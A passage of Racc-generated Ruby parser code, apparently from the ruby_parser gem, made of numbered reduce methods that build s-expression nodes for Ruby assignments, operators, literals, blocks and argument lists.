ary.concat val[3][1..-1]
result = s(:masgn, ary)
result
end
def _reduce_81(val, _values, result)
result = s(:masgn, s(:array, s(:splat)))
result
end
def _reduce_82(val, _values, result)
result = s(:masgn, s(:array, s(:splat), *val[2][1..-1]))
result
end
# reduce 83 omitted
def _reduce_84(val, _values, result)
result = val[1]
result
end
def _reduce_85(val, _values, result)
result = s(:array, val[0])
result
end
def _reduce_86(val, _values, result)
result = val[0] << val[1].compact
result
end
def _reduce_87(val, _values, result)
result = s(:array, val[0])
result
end
def _reduce_88(val, _values, result)
result = list_append val[0], val[2]
result
end
def _reduce_89(val, _values, result)
result = self.assignable val[0]
result
end
def _reduce_90(val, _values, result)
result = self.assignable val[0]
result
end
def _reduce_91(val, _values, result)
result = self.aryset val[0], val[2]
result
end
def _reduce_92(val, _values, result)
result = s(:attrasgn, val[0], :"#{val[2]}=")
result
end
def _reduce_93(val, _values, result)
result = s(:attrasgn, val[0], :"#{val[2]}=")
result
end
def _reduce_94(val, _values, result)
result = s(:attrasgn, val[0], :"#{val[2]}=")
result
end
def _reduce_95(val, _values, result)
if (self.in_def || self.in_single > 0) then
debug20 7
yyerror "dynamic constant assignment"
end
result = s(:const, s(:colon2, val[0], val[2].to_sym), nil)
result
end
def _reduce_96(val, _values, result)
if (self.in_def || self.in_single > 0) then
debug20 8
yyerror "dynamic constant assignment"
end
result = s(:const, nil, s(:colon3, val[1].to_sym))
result
end
def _reduce_97(val, _values, result)
self.backref_assign_error val[0]
result
end
def _reduce_98(val, _values, result)
result = self.assignable val[0]
result
end
def _reduce_99(val, _values, result)
result = self.assignable val[0]
debug20 9, val, result
result
end
def _reduce_100(val, _values, result)
result = self.aryset val[0], val[2]
result
end
def _reduce_101(val, _values, result)
result = s(:attrasgn, val[0], :"#{val[2]}=")
result
end
def _reduce_102(val, _values, result)
result = s(:attrasgn, val[0], :"#{val[2]}=")
result
end
def _reduce_103(val, _values, result)
result = s(:attrasgn, val[0], :"#{val[2]}=")
result
end
def _reduce_104(val, _values, result)
if (self.in_def || self.in_single > 0) then
debug20 10
yyerror "dynamic constant assignment"
end
result = s(:const, s(:colon2, val[0], val[2].to_sym))
result
end
def _reduce_105(val, _values, result)
if (self.in_def || self.in_single > 0) then
debug20 11
yyerror "dynamic constant assignment"
end
result = s(:const, s(:colon3, val[1].to_sym))
result
end
def _reduce_106(val, _values, result)
self.backref_assign_error val[0]
result
end
def _reduce_107(val, _values, result)
yyerror "class/module name must be CONSTANT"
result
end
# reduce 108 omitted
def _reduce_109(val, _values, result)
result = s(:colon3, val[1].to_sym)
result
end
def _reduce_110(val, _values, result)
result = val[0].to_sym
result
end
def _reduce_111(val, _values, result)
result = s(:colon2, val[0], val[2].to_sym)
result
end
# reduce 112 omitted
# reduce 113 omitted
# reduce 114 omitted
def _reduce_115(val, _values, result)
lexer.lex_state = :expr_end
result = val[0]
result
end
def _reduce_116(val, _values, result)
lexer.lex_state = :expr_end
result = val[0]
result
end
# reduce 117 omitted
# reduce 118 omitted
def _reduce_119(val, _values, result)
result = s(:lit, val[0].to_sym)
result
end
# reduce 120 omitted
def _reduce_121(val, _values, result)
result = new_undef val[0]
result
end
def _reduce_122(val, _values, result)
lexer.lex_state = :expr_fname
result
end
def _reduce_123(val, _values, result)
result = new_undef val[0], val[3]
result
end
# reduce 124 omitted
# reduce 125 omitted
# reduce 126 omitted
# reduce 127 omitted
# reduce 128 omitted
# reduce 129 omitted
# reduce 130 omitted
# reduce 131 omitted
# reduce 132 omitted
# reduce 133 omitted
# reduce 134 omitted
# reduce 135 omitted
# reduce 136 omitted
# reduce 137 omitted
# reduce 138 omitted
# reduce 139 omitted
# reduce 140 omitted
# reduce 141 omitted
# reduce 142 omitted
# reduce 143 omitted
# reduce 144 omitted
# reduce 145 omitted
# reduce 146 omitted
# reduce 147 omitted
# reduce 148 omitted
# reduce 149 omitted
# reduce 150 omitted
# reduce 151 omitted
# reduce 152 omitted
# reduce 153 omitted
# reduce 154 omitted
# reduce 155 omitted
# reduce 156 omitted
# reduce 157 omitted
# reduce 158 omitted
# reduce 159 omitted
# reduce 160 omitted
# reduce 161 omitted
# reduce 162 omitted
# reduce 163 omitted
# reduce 164 omitted
# reduce 165 omitted
# reduce 166 omitted
# reduce 167 omitted
# reduce 168 omitted
# reduce 169 omitted
# reduce 170 omitted
# reduce 171 omitted
# reduce 172 omitted
# reduce 173 omitted
# reduce 174 omitted
# reduce 175 omitted
# reduce 176 omitted
# reduce 177 omitted
# reduce 178 omitted
# reduce 179 omitted
# reduce 180 omitted
# reduce 181 omitted
# reduce 182 omitted
# reduce 183 omitted
# reduce 184 omitted
# reduce 185 omitted
# reduce 186 omitted
# reduce 187 omitted
# reduce 188 omitted
# reduce 189 omitted
# reduce 190 omitted
# reduce 191 omitted
# reduce 192 omitted
# reduce 193 omitted
# reduce 194 omitted
def _reduce_195(val, _values, result)
result = self.node_assign val[0], val[2]
result
end
def _reduce_196(val, _values, result)
result = self.node_assign val[0], s(:rescue, val[2], new_resbody(s(:array), val[4]))
result
end
def _reduce_197(val, _values, result)
result = new_op_asgn val
result
end
def _reduce_198(val, _values, result)
result = new_op_asgn val
result = s(:rescue, result, new_resbody(s(:array), val[4]))
result
end
def _reduce_199(val, _values, result)
val[2][0] = :arglist if val[2]
result = s(:op_asgn1, val[0], val[2], val[4].to_sym, val[5])
result
end
def _reduce_200(val, _values, result)
result = s(:op_asgn2, val[0], :"#{val[2]}=", val[3].to_sym, val[4])
result
end
def _reduce_201(val, _values, result)
result = s(:op_asgn2, val[0], :"#{val[2]}=", val[3].to_sym, val[4])
result
end
def _reduce_202(val, _values, result)
result = s(:op_asgn, val[0], val[4], val[2].to_sym, val[3].to_sym)
result
end
def _reduce_203(val, _values, result)
yyerror "constant re-assignment"
result
end
def _reduce_204(val, _values, result)
yyerror "constant re-assignment"
result
end
def _reduce_205(val, _values, result)
self.backref_assign_error val[0]
result
end
def _reduce_206(val, _values, result)
v1, v2 = val[0], val[2]
if v1.node_type == :lit and v2.node_type == :lit and Fixnum === v1.last and Fixnum === v2.last then
result = s(:lit, (v1.last)..(v2.last))
else
result = s(:dot2, v1, v2)
end
result
end
def _reduce_207(val, _values, result)
v1, v2 = val[0], val[2]
if v1.node_type == :lit and v2.node_type == :lit and Fixnum === v1.last and Fixnum === v2.last then
result = s(:lit, (v1.last)...(v2.last))
else
result = s(:dot3, v1, v2)
end
result
end
def _reduce_208(val, _values, result)
result = new_call val[0], :+, argl(val[2])
result
end
def _reduce_209(val, _values, result)
result = new_call val[0], :-, argl(val[2])
result
end
def _reduce_210(val, _values, result)
result = new_call val[0], :*, argl(val[2])
result
end
def _reduce_211(val, _values, result)
result = new_call val[0], :"/", argl(val[2])
result
end
def _reduce_212(val, _values, result)
result = new_call val[0], :"%", argl(val[2])
result
end
def _reduce_213(val, _values, result)
result = new_call val[0], :**, argl(val[2])
result
end
def _reduce_214(val, _values, result)
result = new_call(new_call(s(:lit, val[1]), :"**", argl(val[3])), :"-@")
result
end
def _reduce_215(val, _values, result)
result = new_call val[1], :"+@"
result
end
def _reduce_216(val, _values, result)
result = new_call val[1], :"-@"
result
end
def _reduce_217(val, _values, result)
result = new_call val[0], :"|", argl(val[2])
result
end
def _reduce_218(val, _values, result)
result = new_call val[0], :"^", argl(val[2])
result
end
def _reduce_219(val, _values, result)
result = new_call val[0], :"&", argl(val[2])
result
end
def _reduce_220(val, _values, result)
result = new_call val[0], :"<=>", argl(val[2])
result
end
def _reduce_221(val, _values, result)
result = new_call val[0], :">", argl(val[2])
result
end
def _reduce_222(val, _values, result)
result = new_call val[0], :">=", argl(val[2])
result
end
def _reduce_223(val, _values, result)
result = new_call val[0], :"<", argl(val[2])
result
end
def _reduce_224(val, _values, result)
result = new_call val[0], :"<=", argl(val[2])
result
end
def _reduce_225(val, _values, result)
result = new_call val[0], :"==", argl(val[2])
result
end
def _reduce_226(val, _values, result)
result = new_call val[0], :"===", argl(val[2])
result
end
def _reduce_227(val, _values, result)
result = new_call val[0], :"!=", argl(val[2])
result
end
def _reduce_228(val, _values, result)
result = self.get_match_node val[0], val[2]
result
end
def _reduce_229(val, _values, result)
result = s(:not, self.get_match_node(val[0], val[2]))
result
end
def _reduce_230(val, _values, result)
result = new_call val[1], :"!"
result
end
def _reduce_231(val, _values, result)
result = new_call value_expr(val[1]), :"~"
result
end
def _reduce_232(val, _values, result)
val[0] = value_expr val[0]
val[2] = value_expr val[2]
result = new_call val[0], :"\<\<", argl(val[2])
result
end
def _reduce_233(val, _values, result)
val[0] = value_expr val[0]
val[2] = value_expr val[2]
result = new_call val[0], :">>", argl(val[2])
result
end
def _reduce_234(val, _values, result)
result = logop(:and, val[0], val[2])
result
end
def _reduce_235(val, _values, result)
result = logop(:or, val[0], val[2])
result
end
def _reduce_236(val, _values, result)
result = s(:defined, val[2])
result
end
def _reduce_237(val, _values, result)
result = s(:if, val[0], val[2], val[5])
result
end
# reduce 238 omitted
def _reduce_239(val, _values, result)
result = value_expr(val[0])
result
end
# reduce 240 omitted
def _reduce_241(val, _values, result)
result = args [val[0]]
result
end
def _reduce_242(val, _values, result)
result = args [val[0], array_to_hash(val[2])]
result
end
def _reduce_243(val, _values, result)
result = args [array_to_hash(val[0])]
result
end
def _reduce_244(val, _values, result)
result = val[1]
result
end
# reduce 245 omitted
# reduce 246 omitted
def _reduce_247(val, _values, result)
result = val[0]
result
end
def _reduce_248(val, _values, result)
result = val[0]
result
end
def _reduce_249(val, _values, result)
result = args val
result
end
def _reduce_250(val, _values, result)
result = args [val[0], array_to_hash(val[2])]
result
end
def _reduce_251(val, _values, result)
result = args [array_to_hash(val[0])]
result
end
def _reduce_252(val, _values, result)
warning "parenthesize argument(s) for future version"
result = call_args val
result
end
def _reduce_253(val, _values, result)
result = call_args val
result = self.arg_blk_pass val[0], val[1]
result
end
def _reduce_254(val, _values, result)
result = call_args [array_to_hash(val[0])]
result = self.arg_blk_pass result, val[1]
result
end
def _reduce_255(val, _values, result)
result = call_args [val[0], array_to_hash(val[2])]
result = self.arg_blk_pass result, val[3]
result
end
def _reduce_256(val, _values, result)
result = call_args val
result
end
def _reduce_257(val, _values, result)
result = lexer.cmdarg.stack.dup # TODO: smell?
lexer.cmdarg.push true
result
end
def _reduce_258(val, _values, result)
lexer.cmdarg.stack.replace val[0]
result = val[1]
result
end
def _reduce_259(val, _values, result)
result = s(:block_pass, val[1])
result
end
def _reduce_260(val, _values, result)
result = val[1]
result
end
# reduce 261 omitted
def _reduce_262(val, _values, result)
result = s(:array, val[0])
result
end
def _reduce_263(val, _values, result)
result = s(:array, s(:splat, val[1]))
result
end
def _reduce_264(val, _values, result)
result = self.list_append val[0], val[2]
result
end
def _reduce_265(val, _values, result)
result = self.list_append val[0], s(:splat, val[3])
result
end
def _reduce_266(val, _values, result)
result = new_masgn_arg val[0]
result
end
def _reduce_267(val, _values, result)
result = new_masgn_arg val[0], :wrap
result
end
def _reduce_268(val, _values, result)
result = val[0] << val[2]
result
end
def _reduce_269(val, _values, result)
result = self.arg_concat val[0], val[3]
result
end
def _reduce_270(val, _values, result)
result = s(:splat, val[1])
result
end
# reduce 271 omitted
# reduce 272 omitted
# reduce 273 omitted
# reduce 274 omitted
# reduce 275 omitted
# reduce 276 omitted
# reduce 277 omitted
# reduce 278 omitted
# reduce 279 omitted
# reduce 280 omitted
def _reduce_281(val, _values, result)
result = new_call nil, val[0].to_sym
result
end
def _reduce_282(val, _values, result)
result = self.lexer.lineno
result
end
def _reduce_283(val, _values, result)
unless val[2] then
result = s(:nil)
else
result = s(:begin, val[2])
end
result.line = val[1]
result
end
def _reduce_284(val, _values, result)
debug20 13, val, result
result
end
def _reduce_285(val, _values, result)
lexer.lex_state = :expr_endarg
result
end
def _reduce_286(val, _values, result)
warning "(...) interpreted as grouped expression"
result = val[1]
result
end
def _reduce_287(val, _values, result)
result = val[1] || s(:nil)
result.paren = true
result
end
def _reduce_288(val, _values, result)
result = s(:colon2, val[0], val[2].to_sym)
result
end
def _reduce_289(val, _values, result)
result = s(:colon3, val[1].to_sym)
result
end
def _reduce_290(val, _values, result)
result = val[1] || s(:array)
result[0] = :array # aref_args is :args
result
end
def _reduce_291(val, _values, result)
result = s(:hash, *val[1].values) # TODO: array_to_hash?
result
end
def _reduce_292(val, _values, result)
result = s(:return)
result
end
def _reduce_293(val, _values, result)
result = new_yield val[2]
result
end
def _reduce_294(val, _values, result)
result = new_yield
result
end
def _reduce_295(val, _values, result)
result = new_yield
result
end
def _reduce_296(val, _values, result)
result = s(:defined, val[3])
result
end
def _reduce_297(val, _values, result)
result = s(:call, val[2], :"!")
result
end
def _reduce_298(val, _values, result)
debug20 14, val, result
result
end
def _reduce_299(val, _values, result)
oper, iter = val[0], val[1]
call = oper # FIX
iter.insert 1, call
result = iter
call.line = iter.line
result
end
# reduce 300 omitted
def _reduce_301(val, _values, result)
call, iter = val[0], val[1]
block_dup_check call, iter
iter.insert 1, call # FIX
result = iter
result
end
def _reduce_302(val, _values, result)
result = val[1] # TODO: fix lineno
result
end
def _reduce_303(val, _values, result)
result = new_if val[1], val[3], val[4]
result
end
def _reduce_304(val, _values, result)
result = new_if val[1], val[4], val[3]
result
end
def _reduce_305(val, _values, result)
lexer.cond.push true
result
end
def _reduce_306(val, _values, result)
lexer.cond.pop
result
end
def _reduce_307(val, _values, result)
result = new_while val[5], val[2], true
result
end
def _reduce_308(val, _values, result)
lexer.cond.push true
result
end
def _reduce_309(val, _values, result)
lexer.cond.pop
result
end
def _reduce_310(val, _values, result)
result = new_until val[5], val[2], true
result
end
def _reduce_311(val, _values, result)
(_, line), expr, _, body, _ = val
result = new_case expr, body, line
result
end
def _reduce_312(val, _values, result)
(_, line), _, body, _ = val
result = new_case nil, body, line
result
end
def _reduce_313(val, _values, result)
lexer.cond.push true
result
end
def _reduce_314(val, _values, result)
lexer.cond.pop
result
end
def _reduce_315(val, _values, result)
result = new_for val[4], val[1], val[7]
result
end
def _reduce_316(val, _values, result)
result = self.lexer.lineno
result
end
def _reduce_317(val, _values, result)
self.comments.push self.lexer.comments
if (self.in_def || self.in_single > 0) then
yyerror "class definition in method body"
end
self.env.extend
result
end
def _reduce_318(val, _values, result)
result = new_class val
self.env.unextend
self.lexer.comments # we don't care about comments in the body
result
end
def _reduce_319(val, _values, result)
result = self.lexer.lineno
result
end
def _reduce_320(val, _values, result)
result = self.in_def
self.in_def = false
result
end
def _reduce_321(val, _values, result)
result = self.in_single
self.in_single = 0
self.env.extend
result
end
def _reduce_322(val, _values, result)
result = new_sclass val
self.env.unextend
self.lexer.comments # we don't care about comments in the body
result
end
def _reduce_323(val, _values, result)
result = self.lexer.lineno
result
end
def _reduce_324(val, _values, result)
self.comments.push self.lexer.comments
yyerror "module definition in method body" if
self.in_def or self.in_single > 0
self.env.extend
result
end
def _reduce_325(val, _values, result)
result = new_module val
self.env.unextend
self.lexer.comments # we don't care about comments in the body
result
end
def _reduce_326(val, _values, result)
result = self.in_def
self.comments.push self.lexer.comments
self.in_def = true
self.env.extend
result
end
def _reduce_327(val, _values, result)
in_def = val[2]
result = new_defn val
self.env.unextend
self.in_def = in_def
self.lexer.comments # we don't care about comments in the body
result
end
def _reduce_328(val, _values, result)
self.comments.push self.lexer.comments
lexer.lex_state = :expr_fname
result
end
def _reduce_329(val, _values, result)
self.in_single += 1
self.env.extend
lexer.lex_state = :expr_end # force for args
result = lexer.lineno
result
end
def _reduce_330(val, _values, result)
result = new_defs val
result[3].line val[5]
self.env.unextend
self.in_single -= 1
self.lexer.comments # we don't care about comments in the body
result
end
def _reduce_331(val, _values, result)
result = s(:break)
result
end
def _reduce_332(val, _values, result)
result = s(:next)
result
end
def _reduce_333(val, _values, result)
result = s(:redo)
result
end
def _reduce_334(val, _values, result)
result = s(:retry)
result
end
def _reduce_335(val, _values, result)
result = value_expr(val[0])
result
end
# reduce 336 omitted
# reduce 337 omitted
# reduce 338 omitted
# reduce 339 omitted
# reduce 340 omitted
# reduce 341 omitted
# reduce 342 omitted
# reduce 343 omitted
# reduce 344 omitted
# reduce 345 omitted
# reduce 346 omitted
# reduce 347 omitted
# reduce 348 omitted
# reduce 349 omitted
# reduce 350 omitted
# reduce 351 omitted
# reduce 352 omitted
def _reduce_353(val, _values, result)
result = s(:if, val[1], val[3], val[4])
result
end
# reduce 354 omitted
def _reduce_355(val, _values, result)
result = val[1]
result
end
# reduce 356 omitted
def _reduce_357(val, _values, result)
val[0].delete_at 1 if val[0][1].nil? # HACK
result
end
# reduce 358 omitted
def _reduce_359(val, _values, result)
result = val[1]
result
end
def _reduce_360(val, _values, result)
result = s(:array, val[0])
result
end
def _reduce_361(val, _values, result)
result = list_append val[0], val[2]
result
end
def _reduce_362(val, _values, result)
args, = val
result = block_var args
result
end
def _reduce_363(val, _values, result)
args, _, _, splat = val
result = block_var args, "*#{splat}".to_sym
result
end
def _reduce_364(val, _values, result)
args, _, _, splat, _, args2 = val
result = block_var args, "*#{splat}".to_sym, args2
result
end
def _reduce_365(val, _values, result)
args, _, _ = val
result = block_var args, :*
result
end
def _reduce_366(val, _values, result)
args, _, _, _, args2 = val
result = block_var args, :*, args2
debug20 16, val, result
result
end
def _reduce_367(val, _values, result)
_, splat = val
result = block_var :"*#{splat}"
result
end
def _reduce_368(val, _values, result)
_, splat, _, args = val
result = block_var :"*#{splat}", args
debug20 17, val, result
result
end
def _reduce_369(val, _values, result)
result = block_var :*
debug20 18, val, result
result
end
def _reduce_370(val, _values, result)
_, _, args = val
result = block_var :*, args
result
end
def _reduce_371(val, _values, result)
result = call_args val
result
end
def _reduce_372(val, _values, result)
result = call_args val
result
end
def _reduce_373(val, _values, result)
result = call_args val
result
end
def _reduce_374(val, _values, result)
result = call_args val
result
end
def _reduce_375(val, _values, result)
result = args val
result
end
# reduce 376 omitted
def _reduce_377(val, _values, result)
result = args val
result
end
def _reduce_378(val, _values, result)
result = args val
result
end
def _reduce_379(val, _values, result)
result = args val
result
end
def _reduce_380(val, _values, result)
result = args val
result
end
def _reduce_381(val, _values, result)
result = args val
result
end
def _reduce_382(val, _values, result)
result = args val
result
end
def _reduce_383(val, _values, result)
result = args val
result
end
def _reduce_384(val, _values, result)
result = args val
result
end
def _reduce_385(val, _values, result)
result = args val
result
end
def _reduce_386(val, _values, result)
result = args val
result
end
def _reduce_387(val, _values, result)
result = args val
result
end
def _reduce_388(val, _values, result)
result = args val
result
end
def _reduce_389(val, _values, result)
result = args val
result
end
def _reduce_390(val, _values, result)
result = args val
result
end
def _reduce_391(val, _values, result)
result = args val
result
end
# reduce 392 omitted
# reduce 393 omitted
def _reduce_394(val, _values, result)
result = args val
result = 0 if result == s(:args)
result
end
def _reduce_395(val, _values, result)
result = 0
self.lexer.command_start = true
result
end
def _reduce_396(val, _values, result)
result = args val
result
end
# reduce 397 omitted
def _reduce_398(val, _values, result)
result = args val
result
end
def _reduce_399(val, _values, result)
result = args val
result
end
def _reduce_400(val, _values, result)
result = args val
result
end
def _reduce_401(val, _values, result)
result = s(:shadow, val[0].to_sym)
result
end
# reduce 402 omitted
def _reduce_403(val, _values, result)
self.env.extend :dynamic
result = self.lexer.lineno
result = lexer.lpar_beg
lexer.paren_nest += 1
lexer.lpar_beg = lexer.paren_nest
result
end
def _reduce_404(val, _values, result)
lpar, args, body = val
lexer.lpar_beg = lpar
args = 0 if args == s(:args)
call = new_call nil, :lambda
result = new_iter call, args, body
self.env.unextend
result
end
def _reduce_405(val, _values, result)
result = args val
result
end
def _reduce_406(val, _values, result)
result = val[0]
result
end
def _reduce_407(val, _values, result)
result = val[1]
result
end
def _reduce_408(val, _values, result)
result = val[1]
result
end
def _reduce_409(val, _values, result)
self.env.extend :dynamic
result = self.lexer.lineno
result
end
def _reduce_410(val, _values, result)
result = nil # self.env.dynamic.keys
result
end
def _reduce_411(val, _values, result)
args = val[2]
body = val[4]
result = new_iter nil, args, body
result.line = val[1]
self.env.unextend
result
end
def _reduce_412(val, _values, result)
# TODO:
# if (nd_type($1) == NODE_YIELD) {
# compile_error(PARSER_ARG "block given to yield");
syntax_error "Both block arg and actual block given." if
val[0].block_pass?
val = invert_block_call val if inverted? val
result = val[1]
result.insert 1, val[0]
result
end
def _reduce_413(val, _values, result)
result = new_call val[0], val[2].to_sym, val[3]
result
end
def _reduce_414(val, _values, result)
iter1, _, name, args, iter2 = val
call = new_call iter1, name.to_sym, args
iter2.insert 1, call
result = iter2
result
end
def _reduce_415(val, _values, result)
iter1, _, name, args, iter2 = val
call = new_call iter1, name.to_sym, args
iter2.insert 1, call
result = iter2
result
end
def _reduce_416(val, _values, result)
result = self.lexer.lineno
result
end
def _reduce_417(val, _values, result)
args = self.call_args val[2..-1]
result = val[0].concat args[1..-1]
result
end
def _reduce_418(val, _values, result)
result = new_call val[0], val[2].to_sym, val[3]
result
end
def _reduce_419(val, _values, result)
result = new_call val[0], val[2].to_sym, val[3]
result
end
def _reduce_420(val, _values, result)
result = new_call val[0], val[2].to_sym
result
end
def _reduce_421(val, _values, result)
result = new_call val[0], :call, val[2]
result
end
def _reduce_422(val, _values, result)
result = new_call val[0], :call, val[2]
result
end
def _reduce_423(val, _values, result)
result = new_super val[1]
result
end
def _reduce_424(val, _values, result)
result = s(:zsuper)
result
end
def _reduce_425(val, _values, result)
result = new_aref val
result
end
def _reduce_426(val, _values, result)
self.env.extend :dynamic
result = self.lexer.lineno
result
end
def _reduce_427(val, _values, result)
result = nil # self.env.dynamic.keys
result
end
def _reduce_428(val, _values, result)
_, line, args, _, body, _ = val
result = new_iter nil, args, body
result.line = line
self.env.unextend
result
end
def _reduce_429(val, _values, result)
self.env.extend :dynamic
result = self.lexer.lineno
result
end
def _reduce_430(val, _values, result)
result = nil # self.env.dynamic.keys
result
end
def _reduce_431(val, _values, result)
_, line, args, _, body, _ = val
result = new_iter nil, args, body
result.line = line
self.env.unextend
result
end
def _reduce_432(val, _values, result)
result = self.lexer.lineno
result
end
def _reduce_433(val, _values, result)
result = new_when(val[2], val[4])
result.line = val[1]
result << val[5] if val[5]
result
end
# reduce 434 omitted
# reduce 435 omitted
def _reduce_436(val, _values, result)
_, klasses, var, _, body, rest = val
klasses ||= s(:array)
klasses << node_assign(var, s(:gvar, :"$!")) if var
result = new_resbody(klasses, body)
result << rest if rest # UGH, rewritten above
result
end
def _reduce_437(val, _values, result)
result = nil
result
end
def _reduce_438(val, _values, result)
result = s(:array, val[0])
result
end
# reduce 439 omitted
# reduce 440 omitted
def _reduce_441(val, _values, result)
result = val[1]
result
end
# reduce 442 omitted
def _reduce_443(val, _values, result)
_, body = val
result = body || s(:nil)
result
end
# reduce 444 omitted
def _reduce_445(val, _values, result)
result = s(:lit, val[0])
result
end
def _reduce_446(val, _values, result)
result = s(:lit, val[0])
result
end
# reduce 447 omitted
def _reduce_448(val, _values, result)
val[0] = s(:dstr, val[0].value) if val[0][0] == :evstr
result = val[0]
result
end
def _reduce_449(val, _values, result)
debug20 23, val, result
result
end
# reduce 450 omitted
def _reduce_451(val, _values, result)
result = self.literal_concat val[0], val[1]
result
end
def _reduce_452(val, _values, result)
result = val[1]
result
end
def _reduce_453(val, _values, result)
result = new_string val
result
end
def _reduce_454(val, _values, result)
result = new_xstring val[1]
result
end
def _reduce_455(val, _values, result)
result = new_regexp val
result
end
def _reduce_456(val, _values, result)
result = s(:array)
result
end
def _reduce_457(val, _values, result)
result = val[1]
result
end
def _reduce_458(val, _values, result)
result = s(:array)
result
end
def _reduce_459(val, _values, result)
word = val[1][0] == :evstr ? s(:dstr, "", val[1]) : val[1]
result = val[0].dup << word
result
end
# reduce 460 omitted
def _reduce_461(val, _values, result)
result = self.literal_concat val[0], val[1]
result
end
def _reduce_462(val, _values, result)
result = s(:array)
result
end
def _reduce_463(val, _values, result)
result = val[1]
result
end
def _reduce_464(val, _values, result)
result = s(:array)
result
end
def _reduce_465(val, _values, result)
list, sym, _ = val
case sym[0]
when :dstr then
sym[0] = :dsym
when :str then
sym = s(:lit, sym.last.to_sym)
else
debug20 24
sym = s(:dsym, "", result)
end
result = list.dup << sym
result
end
def _reduce_466(val, _values, result)
result = s(:array)
result
end
def _reduce_467(val, _values, result)
result = val[1]
result
end
def _reduce_468(val, _values, result)
result = s(:array)
result
end
def _reduce_469(val, _values, result)
result = val[1]
result
end
def _reduce_470(val, _values, result)
result = s(:array)
result
end
def _reduce_471(val, _values, result)
result = val[0].dup << s(:str, val[1])
result
end
def _reduce_472(val, _values, result)
result = s(:array)
result
end
def _reduce_473(val, _values, result)
result = val[0].dup << s(:lit, val[1].to_sym)
result
end
def _reduce_474(val, _values, result)
result = s(:str, "")
result
end
def _reduce_475(val, _values, result)
result = literal_concat(val[0], val[1])
result
end
def _reduce_476(val, _values, result)
result = nil
result
end
def _reduce_477(val, _values, result)
result = literal_concat(val[0], val[1])
result
end
def _reduce_478(val, _values, result)
result = nil
result
end
def _reduce_479(val, _values, result)
result = literal_concat(val[0], val[1])
result
end
def _reduce_480(val, _values, result)
result = new_string val
result
end
def _reduce_481(val, _values, result)
result = lexer.lex_strterm
lexer.lex_strterm = nil
lexer.lex_state = :expr_beg
result
end
def _reduce_482(val, _values, result)
lexer.lex_strterm = val[1]
result = s(:evstr, val[2])
result
end
def _reduce_483(val, _values, result)
result = [lexer.lex_strterm,
lexer.brace_nest,
lexer.string_nest, # TODO: remove
lexer.cond.store,
lexer.cmdarg.store]
lexer.lex_strterm = nil
lexer.brace_nest = 0
lexer.string_nest = 0
lexer.lex_state = :expr_beg
result
end
def _reduce_484(val, _values, result)
# TODO: tRCURLY -> tSTRING_END
_, memo, stmt, _ = val
lex_strterm, brace_nest, string_nest, oldcond, oldcmdarg = memo
lexer.lex_strterm = lex_strterm
lexer.brace_nest = brace_nest
lexer.string_nest = string_nest
lexer.cond.restore oldcond
lexer.cmdarg.restore oldcmdarg
case stmt
when Sexp then
case stmt[0]
when :str, :dstr, :evstr then
result = stmt
else
result = s(:evstr, stmt)
end
when nil then
result = s(:evstr)
else
debug20 25
raise "unknown string body: #{stmt.inspect}"
end
result
end
def _reduce_485(val, _values, result)
result = s(:gvar, val[0].to_sym)
result
end
def _reduce_486(val, _values, result)
result = s(:ivar, val[0].to_sym)
result
end
def _reduce_487(val, _values, result)
result = s(:cvar, val[0].to_sym)
result
end
# reduce 488 omitted
def _reduce_489(val, _values, result)
lexer.lex_state = :expr_end
result = val[1].to_sym
result
end
def _reduce_490(val, _values, result)
result = val[0].to_sym
result
end
# reduce 491 omitted
# reduce 492 omitted
# reduce 493 omitted
# reduce 494 omitted
def _reduce_495(val, _values, result)
lexer.lex_state = :expr_end
result = val[1]
result ||= s(:str, "")
case result[0]
when :dstr then
result[0] = :dsym
when :str then
result = s(:lit, result.last.to_sym)
when :evstr then
result = s(:dsym, "", result)
else
debug20 26, val, result
end
result
end
# reduce 496 omitted
def _reduce_497(val, _values, result)
result = -val[1]
result
end
# reduce 498 omitted
# reduce 499 omitted
# reduce 500 omitted
# reduce 501 omitted
# reduce 502 omitted
# reduce 503 omitted
# reduce 504 omitted
# reduce 505 omitted
# reduce 506 omitted
def _reduce_507(val, _values, result)
result = s(:nil)
result
end
def _reduce_508(val, _values, result)
result = s(:self)
result
end
def _reduce_509(val, _values, result)
result = s(:true)
result
end
def _reduce_510(val, _values, result)
result = s(:false)
result
end
def _reduce_511(val, _values, result)
result = s(:str, self.file)
result
end
def _reduce_512(val, _values, result)
result = s(:lit, lexer.lineno)
result
end
def _reduce_513(val, _values, result)
result =
if defined? Encoding then
s(:colon2, s(:const, :Encoding), :UTF_8)
else
s(:str, "Unsupported!")
end
result
end
def _reduce_514(val, _values, result)
var = val[0]
result = Sexp === var ? var : self.gettable(var)
result
end
def _reduce_515(val, _values, result)
var = val[0]
result = Sexp === var ? var : self.gettable(var)
result
end
def _reduce_516(val, _values, result)
result = self.assignable val[0]
result
end
def _reduce_517(val, _values, result)
result = self.assignable val[0]
debug20 29, val, result
result
end
def _reduce_518(val, _values, result)
result = s(:nth_ref, val[0])
result
end
def _reduce_519(val, _values, result)
result = s(:back_ref, val[0])
result
end
def _reduce_520(val, _values, result)
result = nil
result
end
def _reduce_521(val, _values, result)
lexer.lex_state = :expr_beg
result
end
def _reduce_522(val, _values, result)
result = val[2]
result
end
def _reduce_523(val, _values, result)
yyerrok
result = nil
debug20 30, val, result
result
end
def _reduce_524(val, _values, result)
result = val[1]
self.lexer.lex_state = :expr_beg
self.lexer.command_start = true
result
end
def _reduce_525(val, _values, result)
result = val[0]
self.lexer.lex_state = :expr_beg
self.lexer.command_start = true
result
end
def _reduce_526(val, _values, result)
result = args val
result
end
def _reduce_527(val, _values, result)
result = args val
result
end
def _reduce_528(val, _values, result)
result = args val
result
end
# reduce 529 omitted
def _reduce_530(val, _values, result)
result = val[1]
result
end
def _reduce_531(val, _values, result)
result = nil
result
end
def _reduce_532(val, _values, result)
result = args val
result
end
def _reduce_533(val, _values, result)
result = args val
result
end
def _reduce_534(val, _values, result)
result = args val
result
end
def _reduce_535(val, _values, result)
result = args val
result
end
def _reduce_536(val, _values, result)
result = args val
result
end
def _reduce_537(val, _values, result)
result = args val
result
end
def _reduce_538(val, _values, result)
result = args val
result
end
def _reduce_539(val, _values, result)
result = args val
result
end
def _reduce_540(val, _values, result)
result = args val
result
end
def _reduce_541(val, _values, result)
result = args val
result
end
def _reduce_542(val, _values, result)
result = args val
result
end
def _reduce_543(val, _values, result)
result = args val
result
end
def _reduce_544(val, _values, result)
result = args val
result
end
def _reduce_545(val, _values, result)
result = args val
result
end
def _reduce_546(val, _values, result)
result = args val
result
end
def _reduce_547(val, _values, result)
yyerror "formal argument cannot be a constant"
result
end
def _reduce_548(val, _values, result)
yyerror "formal argument cannot be an instance variable"
result
